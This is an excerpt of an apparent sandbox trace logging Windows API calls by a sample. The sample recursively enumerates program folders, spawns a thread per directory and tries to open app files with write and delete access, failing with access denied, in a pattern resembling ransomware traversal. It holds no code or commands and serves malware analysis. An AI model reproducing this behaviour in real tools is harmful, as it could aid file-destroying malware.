	[0083.370] wcscpy (in: _Dest=0x4767978, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0083.370] wcscat (in: _Dest=0x4767978, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\"
	[0083.370] wcscat (in: _Dest=0x4767978, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*"
	[0083.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f25398
	[0083.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*", lpFindFileData=0x4f25398 | out: lpFindFileData=0x4f25398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ac68
	[0083.371] wcscmp (_String1=".", _String2=".") returned 0
	[0083.371] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x4f25398 | out: lpFindFileData=0x4f25398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.371] wcscmp (_String1="..", _String2=".") returned 1
	[0083.371] wcscmp (_String1="..", _String2="..") returned 0
	[0083.371] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x4f25398 | out: lpFindFileData=0x4f25398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x776f534b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.xbf", cAlternateFileName="")) returned 1
	[0083.371] wcscmp (_String1="Generic.xbf", _String2=".") returned 1
	[0083.371] wcscmp (_String1="Generic.xbf", _String2="..") returned 1
	[0083.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766510
	[0083.371] wcscpy (in: _Dest=0x4766510, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0083.371] wcscat (in: _Dest=0x4766510, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\"
	[0083.371] wcscat (in: _Dest=0x4766510, _Source="Generic.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf"
	[0089.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4766510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1618
	[0089.776] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x4f25398 | out: lpFindFileData=0x4f25398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x776f534b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.xbf", cAlternateFileName="")) returned 0
	[0089.776] FindClose (in: hFindFile=0x477ac68 | out: hFindFile=0x477ac68) returned 1
	[0089.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f25398) returned 1
	[0089.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767978) returned 1
	[0089.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47688e0) returned 1

Thread:
	id = 1108
	os_tid = 0x1dc0

	[0083.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x477a360
	[0083.374] wcscpy (in: _Dest=0x477a360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0083.374] wcscat (in: _Dest=0x477a360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\"
	[0083.374] wcscat (in: _Dest=0x477a360, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*"
	[0083.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f25ad0
	[0083.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*", lpFindFileData=0x4f25ad0 | out: lpFindFileData=0x4f25ad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ace8
	[0083.374] wcscmp (_String1=".", _String2=".") returned 0
	[0083.374] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x4f25ad0 | out: lpFindFileData=0x4f25ad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.374] wcscmp (_String1="..", _String2=".") returned 1
	[0083.374] wcscmp (_String1="..", _String2="..") returned 0
	[0083.374] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x4f25ad0 | out: lpFindFileData=0x4f25ad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28c5b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 1
	[0083.374] wcscmp (_String1="DataModels", _String2=".") returned 1
	[0083.374] wcscmp (_String1="DataModels", _String2="..") returned 1
	[0083.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4717170
	[0083.374] wcscpy (in: _Dest=0x4717170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0083.374] wcscat (in: _Dest=0x4717170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\"
	[0083.374] wcscat (in: _Dest=0x4717170, _Source="DataModels" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels"
	[0089.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4717170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e68
	[0089.768] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x4f25ad0 | out: lpFindFileData=0x4f25ad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28c5b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0089.768] FindClose (in: hFindFile=0x477ace8 | out: hFindFile=0x477ace8) returned 1
	[0089.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f25ad0) returned 1
	[0089.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a360) returned 1
	[0089.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ef8) returned 1

Thread:
	id = 1109
	os_tid = 0x1dc4

	[0083.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768458
	[0083.375] wcscpy (in: _Dest=0x4768458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0083.375] wcscat (in: _Dest=0x4768458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0083.375] wcscat (in: _Dest=0x4768458, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*"
	[0083.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f25600
	[0083.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*", lpFindFileData=0x4f25600 | out: lpFindFileData=0x4f25600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aa28
	[0083.375] wcscmp (_String1=".", _String2=".") returned 0
	[0083.375] FindNextFileW (in: hFindFile=0x477aa28, lpFindFileData=0x4f25600 | out: lpFindFileData=0x4f25600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.375] wcscmp (_String1="..", _String2=".") returned 1
	[0083.375] wcscmp (_String1="..", _String2="..") returned 0
	[0083.375] FindNextFileW (in: hFindFile=0x477aa28, lpFindFileData=0x4f25600 | out: lpFindFileData=0x4f25600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 1
	[0083.375] wcscmp (_String1="Glyphs", _String2=".") returned 1
	[0083.375] wcscmp (_String1="Glyphs", _String2="..") returned 1
	[0083.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ec608
	[0083.375] wcscpy (in: _Dest=0x47ec608, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0083.375] wcscat (in: _Dest=0x47ec608, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0083.375] wcscat (in: _Dest=0x47ec608, _Source="Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0084.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ec608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4
	[0084.254] FindNextFileW (in: hFindFile=0x477aa28, lpFindFileData=0x4f25600 | out: lpFindFileData=0x4f25600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0084.254] FindClose (in: hFindFile=0x477aa28 | out: hFindFile=0x477aa28) returned 1
	[0084.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f25600) returned 1
	[0084.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768458) returned 1
	[0084.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f990) returned 1

Thread:
	id = 1110
	os_tid = 0x1dc8

	[0083.376] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js")) returned 0x20
	[0083.377] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0083.377] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.378] GetLastError () returned 0x5
	[0083.378] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0083.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767408) returned 1

Thread:
	id = 1111
	os_tid = 0x1dcc

	[0083.379] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js")) returned 0x20
	[0083.382] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x20) returned 0
	[0083.382] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.382] GetLastError () returned 0x5
	[0083.382] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x20) returned 0
	[0083.382] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f610) returned 1

Thread:
	id = 1112
	os_tid = 0x1dd0

	[0083.383] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc")) returned 0x20
	[0083.384] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0083.384] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.384] GetLastError () returned 0x5
	[0083.384] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0083.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47caf10) returned 1

Thread:
	id = 1113
	os_tid = 0x1dd4

	[0083.385] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt")) returned 0x20
	[0083.386] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0083.386] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.386] GetLastError () returned 0x5
	[0083.386] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0083.386] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70140) returned 1

Thread:
	id = 1114
	os_tid = 0x1dd8

	[0083.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a530
	[0083.387] wcscpy (in: _Dest=0x481a530, _Source="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}"
	[0083.387] wcscat (in: _Dest=0x481a530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\"
	[0083.388] wcscat (in: _Dest=0x481a530, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\*") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\*"
	[0083.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f25868
	[0083.388] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\*", lpFindFileData=0x4f25868 | out: lpFindFileData=0x4f25868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aa68
	[0083.388] wcscmp (_String1=".", _String2=".") returned 0
	[0083.388] FindNextFileW (in: hFindFile=0x477aa68, lpFindFileData=0x4f25868 | out: lpFindFileData=0x4f25868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.388] wcscmp (_String1="..", _String2=".") returned 1
	[0083.388] wcscmp (_String1="..", _String2="..") returned 0
	[0083.388] FindNextFileW (in: hFindFile=0x477aa68, lpFindFileData=0x4f25868 | out: lpFindFileData=0x4f25868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1
	[0083.388] wcscmp (_String1="61.0.3163.79", _String2=".") returned 1
	[0083.388] wcscmp (_String1="61.0.3163.79", _String2="..") returned 1
	[0083.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719600
